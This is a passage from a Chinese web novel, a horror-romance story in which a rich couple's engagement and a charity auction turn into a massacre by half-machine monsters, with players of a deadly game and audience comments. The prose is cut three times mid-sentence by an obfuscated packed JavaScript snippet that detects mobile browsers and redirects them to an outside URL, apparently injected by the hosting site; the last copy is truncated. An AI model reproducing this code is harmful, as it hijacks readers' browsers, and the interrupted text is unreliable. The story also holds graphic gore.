除了有对小情侣在里面放飞自我,而且好巧不巧,还被人给拍到了。 现在阮思宁在处理这个问题,有够他头痛了。 阮思甜:“你继续,一回生二回熟,等多处理几次,你就有经验了。” 阮思宁:“还来?别了吧,再这样下去,再多的纸片人老婆也抚慰不了我受伤的心……” “不说了,继续当牛马去了!【裂开】【裂开】【裂开】” 阮思甜心中笑开了花。 心情大好之下,她顺手点开了游戏。 * 手绘风的街道上,一对Q版母女正在散步。 母亲衣着简朴,女儿则穿着白色连衣裙,留着一头及腰长发,看起来文文静静的。 此刻,前者正牵着后者的手,两只Q版人其乐融融地逛着街。 过了一会,母亲的头顶冒出气泡框。 “小莹,妈妈要去工作了,你自己先回家看书。” “知道啦,妈妈。你路上小心!” 然而在母亲走后,白裙Q版人画风突地一变。 只见她将头发扎成高马尾,小白裙也唰的一下,变成了紧身热辣小黑裙,脸上还多了飒爽的妆容。 接着,小Q人雄赳赳气昂昂地抬起头,脚下生风地朝酒吧挺进。 酒吧里灯光迷离,舞台中间还有只大铁笼子。 等女小人拨开人群,阮思甜才看到,那笼子里居然关着一只非常…… emmm,该怎么说呢?一只非常妖艳的男性Q版人! 那个男小人的气质是偏阳光秀气的,但他浑身上下只穿了一条丁字裤,导致他一看就不是什么正经Q版人! 豁!这游戏设计者可真是放飞自我!恶趣味十足! 不过她喜欢,哈哈哈! 黑裙女小人打开笼子,将那只妖艳Q版人拉了出来,而后者一脸哭哭啼啼的鬼样子。 结果前者丝毫不为所动,而是直接从腰间掏出一条带刺的长鞭。 “唰”“唰”“唰”几下,女小人将鞭子舞得虎虎生风,男小人被抽得吱哇乱叫! 几鞭子下去,舞台周围不停冒出“星海币+1”的字符! “宝贝,以前那些我就不跟你算啦,你还欠我五百五十五万五千星海币呢,够你还到地老天荒……” 台下的Q版人们激动到颤抖。 “我从未见过如此不要脸的货色!简直有损我们深渊生物的脸面!” “快抽他!抽死这个妖艳贱货!你爹的,太恶心了!隔夜饭都要吐出来了!” “抽他!抽他!抽他!” 气氛一时间达到了高潮,阮思甜吃了一会瓜,也觉得非常有意思,恨不得掏出点星海币打赏一番。 啊,原来纸片人的娱乐生活也是这么丰富多彩! 她以前以为这游戏最多就是养养小狗,约约会,经营经营迷你公司!没想到还有这种剧情哈哈哈! 不经意间,她又在台下围观的人群中发现了一只不一样的Q版人。 那个小人一身酷炫的科技装,一看就很新潮。 她的视线不由被吸引,结果跟着跟着,那小人就不见了。 阮思甜有些遗憾。 不过只要一直玩下去,总能再看到的。 这时候,一身呼喊打断了她的游戏进程。 “思甜姐姐!” 是她的表弟来了。 她抬起头,只见阮思敏牵着一个漂亮女孩走了过来。 “姐姐你看,这是我女朋友舒妍!”表弟兴奋地介绍着,他的情绪明显十分激动。 那女孩大概二十出头,一身酷炫的打扮跟刚才游戏里那个小人有的一拼! 她的一身衣服都是以高科技材料制成的,造型新颖而奇特,设计感十足,一看就价格不菲。 看来,表弟找了个门当户对又观念新潮的女孩子。 舒妍露出一个灿烂的笑容,道:“姐姐你好,我常听思敏提起你。” 阮思甜微笑着和她寒暄了几句。 舒妍的性格也和她的外形一样,十分特别。 没过一会,阮思甜就听她提起,她与自家表弟的相识过程。 “是在一个小游戏上哦,有个跳动的心脏图标那个……” 闻言阮思甜一愣,她的小狗游戏也是心脏图标的! “这么巧?我也在玩一个类似的有心脏图标的小游戏。” 奇怪,怎么人家的可以联机,她的却是Q版单机? 转念一想,也有可能不是同一个,毕竟喜欢用心脏当图标的多了去了! “哈哈哈,我们那个可以测试心跳同步值,还可以在上面玩一些小游戏,聊天,进行约会任务……”这时候,阮思敏也加入了他们的对话。 “就像今天,我和阿妍就是在那个游戏的安排下,进行的第一次约会呢!” 阮思甜想,看来的确不是同一个游戏。 三人又聊了几句,聊着聊着,阮思敏和舒妍对视一眼。 随即,双方会心一笑,找了个理由,手牵着手一脸甜蜜地走了。 阮思甜想,这恋爱谈的可真是甜啊! 心中微微埋怨起了陆秋白,哪有人把女朋友丢下一个人的? 不经意间一瞥,阮思甜愣住了。 她又看到了那个名为江敛的年轻人。 此刻,那一行人正扛着摄像机之类的设备,出现在阮思敏他们身边,进行跟拍。 双方还有说有笑地讨论着什么。 她端起酒杯抿了一口。 助理给她的资料显示,这一行人的身份的确没有问题。 有关他们的资料很干净! 就是太干净了,干净到让人感到不可思议。 * 酒会进行到高潮,衣香鬓影,纸醉金迷。 在明亮的灯光下,香槟塔闪耀着夺目的光泽,华服男女穿梭于会场上,谈笑风生。 阮思甜站在窗边,看着窗外的夜景,心中浮现起微微的无聊感。 很奇怪,以前她享受这样的时刻,因为她总是人群里最耀眼的那一个,觥筹交错间,如鱼得水。 但今晚,她的的确确感到了一丝丝孤独。 “阮小姐,请问您有时间吗?我想……”一个面目周正的年轻人走到她身边,试探着问道。 阮思甜正要拒绝,不远处传来一阵微微的骚动。 她转过头,陆秋白的身影赫然映入眼帘。 今天的男朋友没有像往常那样一身黑,而是换了一套粉白色西装。 里面穿了件白衬衫,没打领带,领口微微敞开着,手腕上配了阮思甜新送的腕表,显得有几分休闲。 这样的颜色穿在他身上,非但不显得轻佻,反而在威严中多了几分春日的浪漫与优雅。 更重要的是,他竟然穿了与她同色系的衣服…… 他身后跟着几位星海科技的高层,几人沿旋转楼梯缓缓而下,不疾不徐,步态从容。 酒会的喧嚣声低了下去,众人的目光落在了他的身上。 陆秋白微微侧头,与楼下的几位相熟者点头致意,或寒暄一二,只是他的目光在不经意间总是越过人群,直直地落在她的身上。 更准确地说,停在了她的耳垂上。 阮思甜的脸颊一下子有些发烫,再也听不清身边的年轻人说了些什么。 她一下子想起那天晚上发生的事。 浴室中水气氤氲,她穿着被水雾打湿几分的小白裙,被他拦腰抱起。 从浴室到主卧。 身下的大床很宽,上面铺了白色的床单,彷佛自成一片天地。 男朋友紧紧抱着她,而她搂着他的脖子,坐在了他的腿上。 头顶的水晶灯折射出梦幻般的光彩,她的眼神也跟那灯光一样,显得有几分迷离。 迷离的灯光下,男朋友在一点一点地亲着她修长白皙的脖子。 他吻得很有耐心,尽管动作生疏,却有条不紊,像是正有计划有条理地进行着手头的某个项目,不显丝毫慌乱。 她头一次觉得,自己脖子那一块的皮肤很薄,还很烫。 像是下一秒,就要融化掉了。 很奇怪,如果是从前,以她骨子里争强好胜的性格,她可能会暗暗和陆秋白较劲。 但是这一次,她却没有一丝这样的念头。 为什么呢? 是因为这场无声的博弈早已分出胜负吗? 也许就在某个瞬间,在陆秋白看似冷静的动作中,她早已窥探出那份从容底下的迷恋。 而她臣服于他意乱情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047916|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷的吻中。 他的吻还在继续,细细密密如春雨。 从容不迫中,又散发着某种隐隐失控的意味,她能感受到他牙齿偶尔擦过时的微微刺痛。 而他放任自我的同时,却又在极尽克制。 男朋友总是冷着脸,人前人后都是,那么高高在上。 可现在,这个高高在上的人却像个凡夫俗子那样,对她不可遏制地心醉神迷,她略带慌张的同时,心中充满了奇异的满足感。 她闭上了眼睛。 可惜事情并没有如她预料的那样发展。 陆秋白又吻上了她的耳垂,轻轻地咬了咬。 阮思甜一阵颤抖,可他却停了下来。 阮思甜茫然地睁开眼,然后看到男朋友掏出一只蓝色丝绒盒子。 盒子里是一对饱满的海珠,光华璀璨。 没有问过她的意见,他直接把那对珠子戴到了她的耳朵上。 耳垂一凉。 陆秋白声音低哑:“看看,喜不喜欢?” 阮思甜有点懵。 她对着镜子看了看,摸了摸耳垂。 就像是现在,她的手顺着记忆里的轨迹,不自觉停在了耳朵上。 “阮小姐?”身边的年轻人出声道。 这一声呼喊直接将她拉回了现实,阮思甜一下子从回忆里抽离,猝不及防对上陆秋白耐人寻味的目光。 她的脸一下子红透了。 接着,他向来缺乏表情的脸上露出一丝极淡的笑容。 “陆总是想到什么有意思的事了吗?” “嗯,确实。” 这下,她连耳朵也开始发红了。 明明置身于人群中,脑海里却不受控制地想起那天私密的时刻。 阮思甜深呼吸一口气,开始有一搭没一搭地和人聊着,分散注意力。 慢慢地,她冷静下来,朝陆秋白露出了一抹温顺的笑。 他却已转过了头,继续和人寒暄,清俊的侧脸在灯光下显得轮廓分明。 她的眼神中浮现一丝隐约的傲慢与挑衅,在这一瞬间,陆秋白却忽然回首,精准捕捉到了女朋友的目光。 四目相对,他挑了挑眉。 阮思甜重新恢复那副无害的样子,笑容清淡甜美。 他直直地朝女朋友走了过来。 无数道目光落在了他们身上,或好奇,或惊叹,或算计。 两人的身形似被这些视线包裹,成了全场无形的焦点。 陆秋白终于走到阮思甜的面前,朝她伸出了手。 “等久了?” * 在进入拍卖会所在的大楼前,文雪给了每人一个护身符。 每个符都不一样,是根据每个人的特质而分发的。 颜乐戴上后,立刻感到有股暖流涌入体内,甚至连陈野和江敛也都分到一个。 【大佬看着冷冰冰的,没想到这么暖心。】 【文雪改性子了?】 现在,赵杰戴着这护身符,举着摄像机在一旁跟拍,心中十分焦急。 这次关于阮思敏,他们什么也没查出来。 而从之前的两次任务来看,十有八九答对答错,都会被一波带走。 那么通过任务的关键是什么?他们到底忽略了什么? 江敛心中像被蚂蚁啃咬一样,难受到不行。陈野却淡定的很,在酒会上吃吃喝喝,好不自在。 【这种啥也查不出的,要么是真干净,要么是脏到天都黑了。】 【c级本而已,至于吗?】 【谁知道呢?】 【这个本文雪划水太严重了,她在干吗?】 【估计看不上c级难度那点奖励,在等副本难度升级吧!】 【这么说,她心里已经有底了?】 【对了,从时机来看,那个神秘彩蛋快出了吧?】 【快了吧,不知道哪个“幸运儿”能抽中,不过这本文雪就算再划水,也死不了,估计和这几个新人无缘。】 【楼上的在说什么?我怎么听不明白?】 赵杰死死盯着阮思敏和舒妍。 接下来,这两人是不是要开始玩问答游戏了? 但是等了很久,这次约会也没出现这一环,两人只是闲聊着。 颜乐想,的确,副本也没规定,每次任务都得进行三轮问答。 情侣间最爱聊什么呢? 赵杰想,应该是感情问题吧?就像这两人好死不死地聊起了前男/女友的问题。 哪有人第一次正式约会聊这个的?他皱了皱眉。 “你先说呀?” “不,你先。” 两人的语气活泼而俏皮,像足了热恋中的小情侣。 最后阮思敏拗不过舒妍,想起回忆中那人,他下意识舔了舔嘴角。 很快,意识到这个动作太过诡异,他自然地从旁拿起酒杯,假装口渴喝了一口。 红色的酒夜润湿了他形状优美的唇,鲜红而刺目。 阮思敏:“是有这么一个女孩吧!” 舒妍:“这么说,你很喜欢她喽?” 阮思敏:“是啊,很喜欢呢,想永远留在记忆里那种……” 24. 心跳百分百(二十四) “想永远留在记忆里……” “呕!”陈野毫无预兆地发出怪声。 赵杰的脸色一下子冷了下来。 这小子刚刚趁他不注意,在酒会上四处溜达。 像是没见过好东西一样,陈野看到那些昂贵的香槟后,一个劲狂喝,生怕没喝够本。 附近的几个名流见状皱起眉,一脸鄙夷。 赵杰无语的同时,又非常恼火,阮思敏的表情也变得难看。 赵杰正要走上前,陈野却直直朝他撞了过来,一副要吐在他身上的架势。 他立刻推开陈野,转头命令道,“江敛,快把这小子拉去厕所!快!” 江敛先是无措地看了他一眼,半晌后连连点头,“好、好的!” 陈野:“我不!我还要喝!!呕!!!” 赵杰不耐烦地催促道:“动作快点!” 江敛忙不迭拉过陈野,半拖半拽地把他带去稍远处的卫生间。 颜乐立刻出来缓和气氛。 阮思敏看了她秀美的脸一眼,这才缓和了表情。 舒妍也打了个圆场,随后道:“拍卖会快开始了,我们进去聊吧!” 阮思敏没有异议。 会场十分广阔,下方是供普通贵客使用的大厅,上方则是为身份更高的客人准备的包厢。 阮思敏推开包厢的门,拉着舒妍的手,两人亲密地在沙发上坐下。 没有了陈野的干扰后,赵杰继续操作他的摄像机,而文雪她们则坐在角落的暗处。 “阿妍,要喝点什么吗?” “不啦,我们继续。” 阮思敏道:“我第一次见她,是在医院。那时候她出了很严重的车祸,意志消沉。” 舒妍挑眉道:“哦?” “那时候医疗技术已经很发达了,人受到严重损伤后,部分躯体和体内器官可以用科技材料替代。” “但是先进的技术能治好身体,却治不好心灵,她觉得自己变成了一个半人类半机械的怪物,整日十分痛苦。” “她的父母早已过世,身边无人相伴,我就是那时候出现的……” 阮思敏紧紧地讲述着往事,听起来似乎是个救赎向的爱情故事。 “可惜她不知道,自己真的很美啊,那是人类所没有的美!”最后,他以此结尾。 【纯爱故事?】 【我赌五毛,反转要来了。】 【这npc怪怪的,很违和的感觉。】 舒妍拨弄了自己的彩色指甲一下,漫不经心道:“真巧啊,我也出过很严重的车祸呢!” “那时候我父母已经过世,给我留下了一大笔钱,但我身边无人陪伴。” “我虽然活了下来,但身上有一半的血肉被机械取代,我开始怀疑自己还算不算一个人类,整天十分痛苦,几乎丧失了活下去的意愿。” “然后,我遇见了一个天使般的男孩。” “他不但长得好看,人也很善良。他会为我读书,推我出去晒太阳。” “在我整夜整夜疼得睡不着的时候,他会陪我说话,分散我的注意力。” 思及往事,舒妍的嘴角露出一丝甜蜜的笑意。 “我想,他一定是爱我的!” “而他也的确是爱我的,”她嘴角的笑容一下子变得扭曲,“可惜我很晚才明白,他爱的并不是我本人,而是我的残缺!” 话音刚落,阮思敏脸上的笑再也挂不住了。 包厢里一片安静,只有远处拍卖师优雅的声音传来。 “五十万星海币!五十万星海币一次!” 【阮思敏的气质变了!】 【对,之前那么阳光,现在有点阴郁了。】 阮思敏往后一靠,双腿交叠,“继续说。” 舒妍的眼神落在了自己的手臂上,目光中有扭曲的爱意。 “他爱我由机械组装的胳膊,腿,以及体内部分器官,爱这些血肉与机械的组合。” “我不再是一个单纯的人类,有时候我甚至不知道自己是什么,为此十分绝望。可他痴迷的,却正是这样的我,那种感觉你懂吗?” “后来我想,算了,就这样吧,总比没人在乎我要好。” 舒妍:“那时候我不知道,这层畸形的爱下面,还有更畸形的理由。” 阮思敏:“哦?是什么理由呢?” 舒妍沉默了。 远处的拍卖会正如火如荼地进行,一份已逝科学家的手稿被拍卖出高价。 “五百万星海币一次!五百万星海币两次!” 舒妍忽地抬头看了阮思敏一眼,身体微微前倾。 不知道怎么回事,阮思敏忽然觉得有点冷。 奇怪,恒温装置失效了?而且光线好像暗了不少。 这时候,舒妍继续开口。 “阿敏,你知道我一直在困惑什么吗?” “我到底是什么?人类?半仿生人?” “我的大脑真的还完整吗?也许我早就在车祸里死了,现在活着的不知道是什么东西……” 她情绪有些激动,说这些话时语气激烈。 说完后,她微微喘了口气。 无人应答。 “一直到现在,因为星海市在相关领域并没有完善的法律,人类和仿生人的界限是模糊的。” “很多时候,仿生人的生命,得不到保障……” 她直直地看着阮思敏,“你说是吗?阿敏。” 那一瞬间,阮思敏的眼神骤变。 * 阮思甜和陆秋白肩并着肩,坐在小包厢的沙发上。 起初是些普通的拍品,像是上个世纪的珠宝,大师的传世名画等。 陆秋白像个尽职尽责的男朋友那样,毫不吝啬地给女朋友拍下了几套华贵的首饰。 “喜欢吗?”他问。 阮思甜点头,却并不怎么开心。 不知道怎么回事,她觉得有点闷,还有点恶心。 他抚了抚她的背,体贴地建议道:“出去透透气?” 她点了点头。 两人乘坐专用的电梯直达顶层,那里有一个私人小花园。 这里是以高科技材料设计而成的希腊复古风格,四围立着一根根白色立柱,绕成一环。 他们的脚下是一座宽阔的睡莲池,一条弯曲的小道在池中蔓延,通向最中间的大树。 树上挂着一盏盏白色的小灯,像是一颗颗光芒莹润的明珠,伸展出的粗壮枝丫上则悬着一架秋千。 阮思甜看了一眼,走到了花园边沿的石柱边。 石柱间有透明玻璃制成的围栏,既美观又安全,夜风拂面而来,带来微微的凉意。 陆秋白脱下外套,披在了她的肩上。 随后,他从身后抱住她。 他似乎格外偏爱这样的姿势。 “这是我习惯的生活,很多年我都是这样过来的。但今天,也不知道怎么回事,我就是有点烦。” “嗯。” 他的态度一如既往的冷淡,阮思甜不以为意。 谁知半晌后,他忽然道:“来,我们去那边。” 搞这么神秘? 陆秋白牵起她的手,他在前,她在后。 两人沿着那条曲折的小路走向了大树。 走到以后,他将她按在了秋千上,缓缓用手蒙上了她的眼睛。 “闭眼。” 阮思甜乖乖照做。 “好了。” 再睁眼时,灯火已消失,地面也已改变。 在他们的脚下,一株株睡莲盛放在微漾的星空中,而抬头,同样是万里星河绵延。 恍若置身浩瀚天河间,世间只剩他们两人。 阮思甜惊讶地捂住了嘴。 虽明知只是视觉效果上的改变,但一颗心还是忍不住怦然跳动。 陆秋白在她身边坐下,半是温柔半是强硬地将她搂入怀中。 接着,他拿出了一枚戒指。 极简风的金属圆环外有一颗小小的钻石,外侧还镌刻了两人姓名的斜体字母缩写,寓意一生一世。 陆秋白:“嫁给我。” 阮思甜深呼吸一口气,神情有些恍惚。 “小甜。”男朋友似乎叫了她一声。 “小甜……”记忆里同样有个人在叫她的名字。 画面开始变得模糊,她看到一个少女拿出一枚草编的戒指,不容拒绝地套到了少年白皙的手指上。 随即,面容姣好的少年羞涩地低下头,少女霸道地说:“不许摘,套上了就是我的人,听见没?!” 也就是在这一瞬间,陆秋白拉起她的手,不容拒绝地为她戴上了戒指。 冷硬而冰凉。 少年眼角的小痣似血又似泪,渐渐地,眼前的脸与记忆里那张脸渐渐重叠。 前者像是她头顶冷漠深邃的星空,而后者像是在星空下盛放的温柔睡莲,梦幻而缥缈。 彷佛用手在水中随意一划,就会碎得无影无踪。 阮思甜的眼里流下泪水。 陆秋白用手指拭去她的眼泪,不解地问道:“为什么哭了?” 她笑了笑,“被感动到了。” 不,不是的!陆秋白分明品味出了一丝悲伤。 源自灵魂深处。 不过,那无关紧要! 毕竟他已经完成了他的仪式。 是的,仪式。 人类在做某件重要的事前,通常会进行特定的仪式。 而他的进食同样重要,那么,不妨效仿人类。 为了更好地“吃”掉女朋友,他也需要一个隆重的仪式,也就是人类所说的婚礼。 所以,那一晚,陆秋白停了下来。 等待的每一分每一秒,都是为了使她的滋味更加美妙,回味绵长。 陆秋白并不在意她此刻的情绪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054552|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接道:“想不想知道,今晚拍卖会的压轴品是什么?” 阮思甜并不好奇,不过还是配合地问道:“是什么?” 脑海中的画面一闪即逝,到底还是影响到了心情。 她不明白,自己到底是怎么了? 明明心爱的人就在身侧,还向她求婚,她的情绪却依然低落? 陆秋白笑了笑,又掏出一条项链,上面的吊坠是一颗黑漆漆的石头,据说取材于一颗星星上的矿石。 经由特殊处理后,对人体无害。 “是很多年前发现的一颗星星,编号为RLS-004379,不过星海科技并未对外公开,而是做了封禁处理。” “现在,”陆秋白的眼神平静而深邃,彷佛在说一件无关紧要的事,“我将它的命名权和所有权赠与你。” 那一瞬间,阮思甜的大脑一片空白。 * “五千万!五千万成交!!!” 拍卖师的小锤毫不犹豫地敲下,那一声彷佛敲在了阮思敏的心头,让他的心重重一跳。 心中若有似无的不祥预感,在那一刻达到顶端。 舒妍微笑道:“阿敏,想不想知道压轴品是什么?” 阮思敏艰难地笑了下,“是什么?” 难道的今晚的一切,都是舒妍做的局? 她想干什么?恐吓?为了钱,还是别的? 不过很快,他又放松下来,在心中嗤笑一声。 怎么可能?舒妍再怎么大手笔,也不可能在星海科技的地盘上搞出那么大动静! 于是他又冷静了下来,“是什么呢?阿妍。” 有什么好担心的! 他的背后不仅仅是他,更有他的家族,还有一大群非同一般的朋友呢! 舒妍不答,台上的幕布缓缓升起,一只只垂挂而下的巨大铁笼相继出现在众人眼前。 全场寂静。 铁笼里装着的,是一个个…… 阮思敏的脸上失去了所有表情。 那些人,那些人…… 全都是他的朋友!!! 明明有着人类的躯体,浑身上下却被改造过。 齿轮与发条以及其它精密的金属器官在体内运转,他们一个个哀嚎着,成了半人半机械的怪物。 阮思敏赫然起身,满脸不敢置信。 围观的人群爆发出激烈的喊声。 “猎物!” “猎物!” “猎物!” 笼门打开,那一个个半机械的“人”被放了出来。 他们浑身上下未着片缕,神情惶恐而绝望。 “狩猎——”台上的主持人拉长了声调,“开始!!!” 台下的客人全都陷入了狂热中,他们脱去类人的伪装,纷纷展现出半人半机械的真面目,会场的气氛一时间达到了高潮。 【吓!不纯爱故事么?怎么忽然成这样了?】 【这,这也太……】 阮思敏头皮发麻,艰难地转头,看向舒妍。 舒妍嘴角露出一个渗人的笑,“阿敏,你怎么会没认出我呢?” “当年你把一个个像我那样的人带到那栋废弃的大楼里,供你们那样的人取乐。” “你猜我们死前的心情,是不是和你现在一样……” * 摄像机无声地记录着眼前的一切,就像多年前那栋废弃的猎场里一样。 而它的主人赵杰,已经倒在了血泊中。 他心口的位置被一只机械手贯穿,他本人却因身体素质强悍,而并未立刻死去。 他在尝试着朝文雪伸手。 文雪脸色一沉,尽管有所准备,事态的发展还是超出了她的预料。 怎么会失控到这种地步?而且招灾符明明在那小子身上。 她迅速反应过来发生了什么,走到窗边往外一瞥。 作为老玩家,她的身体被强化过多次,视力远超常人。 果然,她看到了陈野带着江敛在楼下夺命狂奔。 饶是她一贯冷静,这下也被气笑了。 【吓,文雪还真有问题?】 【那黄毛可真是个小机灵鬼,居然把符换给赵杰了!江敛那傻小子跟着他,算是捡回了一条命。】 赵杰的躯体和那些半机械人一样,很快被撕扯成了碎片。 他临死前的惨叫声响彻四周,又很快被更痛苦和更狂热的叫声淹没。 “啊啊啊啊啊——” 颜乐和文雪在混乱中失散了,此刻,这个姑娘处于落单的状态。 饶是她的心理素质不错,这下也被吓得腿脚发软。 而这时,一只手臂染血的类人怪物发现了她。 对方嘴里还在啃咬着什么,鲜血淋漓。 颜乐大脑一片空白。 对方停止了进食。 接着,那“人”对她笑了笑,嘴角直直地咧开到耳根。 25. 心跳百分百(二十五) 颜乐的手按在了胸前的吊坠上。 生命中最后的时刻,她心中浮现起多年前那道身影。 对不起,爸爸,我没法来找你了。 半机械半血肉的怪物咧嘴笑着,欣赏了一会眼前人类绝望恐惧的模样后,它蓄势而起,一把朝她扑了过去。 它呼出的气息喷洒在她脸上,带着一股浓浓的腥臭味,令人恶心。 再过几秒,她也要变成它的盘中餐了吧? 谁知预想中的死亡并没有到来。 一声闷响过后,那怪物直直地被撞飞,文雪出现在了她的眼前,朝她伸出了手。 颜乐的腿发软,在文雪的帮助下,她艰难地站了起来。 “冷静点,跟着我。” 这时候,刚刚被撞飞的怪物站了起来,再次朝她们冲了过来。 文雪毫不犹豫地挡在了颜乐的身前。 她不知道从哪抽出一把匕首,看上去十分锋利,刀光闪过的瞬间,怪物身上的血肉掉落了一大块。 对方却感受不到任何疼痛,双眼血红,如同被激怒的疯牛一样,用变成了利刃的十指划过文雪的脖子。 后者险险避过,颜乐看得心惊肉跳。 谁知怪物一击不中,瞬间发动下一次攻势,它的胳膊以一种非人类的方式弯折而过,直从文雪头顶切割而下。 颜乐几乎下意识出声提醒,但还未等她出声,文雪就用另一只手轻点怪物的胸口。 刹那间一缕暗红色的光芒一闪而逝,像一条小虫子一样钻入了它的心口,无视任何金属的阻隔。 而后,它一路往上,直通大脑。 怪物的利刃落在了文雪头顶,贴着她的发丝。 也就是在这一瞬间,它忽地僵住不动。 半晌后,“啪”的一声爆响,怪物的头颅炸裂。 无头的尸身倒在了地上,发出沉闷的响声。 “雪、雪姐?”颜乐心口发颤。 文雪收起匕首,抹去溅射到脸上的血肉,“我没事。” 颜乐咬了咬牙,努力将方才那一幕甩出脑海,又不停告诉自己一定要活着出去,这才恢复了点勇气。 文雪掏出一只黑色的香水瓶子,往颜乐和自己的身上喷了喷。 “隐匿气息用的,”她解释了一句,随后拉起颜乐向外飞奔,“快走!” 【我记得文雪不擅长作战吧?】 【好邪门,她身手变好了很多!而且她的攻击手段怎么变成这样了?】 【楼上的真可笑,这年头谁还没点底牌了?】 【奇怪,赵杰死在她眼前,她眼皮都不眨一下,怎么这么关心这个叫颜乐的新人?】 【反正我现在没法相信她了。】 【替死后备役?】 到处是缺胳膊少腿的半机械人。 有些尚未死透,在地上不停抽搐着。 雪白的墙面洒上大片大片的血污,不少被抛飞的机械器官与内脏浸泡在地面血泊中。 残存的生命绝望地奔逃着,很快被拖了回去。 有些则躲藏在沙发后,或桌子底下,怪物们假装视而不见,在他们周围逡巡。 “在哪里呀?” “在哪里呀?哎呀,怎么就是找不到呢?” 颜乐只看了一眼,就觉得心惊肉跳。 “这一层的常规出口被封锁了,”文雪飞快扫视四周,用尽可能平稳的语气说道,“这瓶特殊香水的隐匿时效为十五分钟,一天可使用一次,我们必须在这个时间内离开,不然没法抗住这一波波怪物。” 话音刚落,彷佛为了证明她所言非虚,令人心颤的撕裂声与惨叫声一阵阵响起。 “找到了!找到了!” “啊啊啊——” 颜乐眼睫轻颤,很快,她深呼吸一口气,像下定决心般,眼底闪过一抹坚定的神色。 “雪姐,我们一定会离开这里!” 半晌后,她试探着说道:“来之前我看过这一层的平面图,也观察过附近的环境。我记得最东边的廊道里有个通风口,或许我们可以从那里离开。” 她的想法与文雪的想法不谋而合,后者的确早就留意到那些串联不同楼层的通风管道。 不过文雪只是点点头,“就按你说的办!” 两人小心翼翼地过去,避开附近的一只机械怪后,来到了通风口。 口子不大不小,一次勉强可容一人通过。 拆开格栅后,文雪身手敏捷地跃入通道,颜乐紧随其后。 她上半身已进入通道,双腿还在外,这时候又有一只人形机械怪出现在廊道附近。 她认出了它。 是舒妍。 颜乐屏住呼吸,同时加快速度,终于赶在舒妍抵达时彻底进入。 “咯拉、咯拉”的声音响起,那玩意不知道在吞吃什么。颜乐跟着文雪,硬着头皮往前爬。 纵横交错的管道内部像迷宫一样,黑漆漆的。 得先横向爬完一段距离,才能纵向往下。 有那么一瞬间,颜乐甚至怀疑,前方的文雪是否已被怪物取代? 所幸她的担忧并未成为现实,文雪依然是文雪。 【最讨厌这种幽闭空间。】 【+1!】 【真的很怕突然来个东西,一把抓住颜乐的脚。】 弹幕的担忧不无道理,因为颜乐身后似乎响起了什么怪异的声音。 是错觉吗? 在经过一片区域时,底下的空间忽然响起一阵熟悉的手机铃声。 颜乐心跳骤然加快,不由加快了脚步。 “心跳吧,恋爱吧,在这狂热的季节……” * 手机铃声响起的瞬间,阮思敏的心不由一沉。 “不,不要杀我!求求你,求求你了,你要多少钱都可以!!!” “啊啊啊!!!” 沉闷切割声响起的同时,女子惨烈的叫声传来。 那声音的主人他很清楚是谁。 虽然每次都会戴着半张优雅的假面,但她的声音他早已记住。 那是和他一起在废弃的大楼,也就是狩猎场里尽情狂欢的朋友! 她穿紧身黑色长裙的身影格外曼妙,看到残忍的场面时,还会以手掩唇,做出天真又无辜的表情。 而当这些猎物获得解脱,去往神之国度时,她又会发出快意的轻笑声,彷佛发自内心为他们感到喜悦。 可现在…… “心跳吧!” 扑通。 “恋爱吧!” “扑通。” “在这美妙的季节……” “啊啊啊啊啊——” 她并不喜欢玩恋爱游戏,但很喜欢那个游戏的曲子。 “心跳吧,恋爱吧,在这美妙的季节……” “心跳吧,恋爱吧,在这狂热的季节……” “心跳吧,恋爱吧,让我们一起进入这美妙又狂热的季节……” 很魔性的洗脑神曲,配上主唱甜美动人的嗓音,这曲子一时间风靡大街小巷。 但是现在,当这美妙又甜美的旋律在阴森的大楼里回响,配着不停响起的血肉坠地声,阮思敏一时之间如坠冰窟,浑身上下一阵阵发冷。 他感到自己的血肉也被一块块割下,扑通扑通掉在了地上。 此时他的朋友尚未死去,而是跌跌撞撞地往卫生间深处而来。 那里是一排排隔间,阮思敏藏在倒数第二个。 此刻,他背靠着冰冷的墙壁,尽量把身体往里缩,降低自己的存在感。 “别过来!别过来!滚开啊怪物!!!”意识到对方不会放过自己,女子发出癫狂的哭叫声。 她会把怪物引过来! 意识到这一点,他脸色发白,手指死死抠住自己的掌心。 终于,她来到了他的隔间前。 “刺啦!” 她尚未出口的最后一声尖叫被迫中止,整个人趴在门板上,沿着门板缓缓滑落。 鲜红刺目的液体从门缝中无声淌入,阮思敏不经意间低头,对上了一截死去的脸孔。 那双被鲜血浸湿的眼睛,充满了强烈的怨恨! 沾血的零件咕噜噜从她脸上滚落。 他死死地捂住嘴,高大的身躯无力地下滑,最终蜷缩在墙角,整个人抖个不停。 阮思敏很想别开头,但又忍不住去看。 忽然,那双眼睛动了。 他死死地咬住自己的手,以遏制即将脱口而出的尖叫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 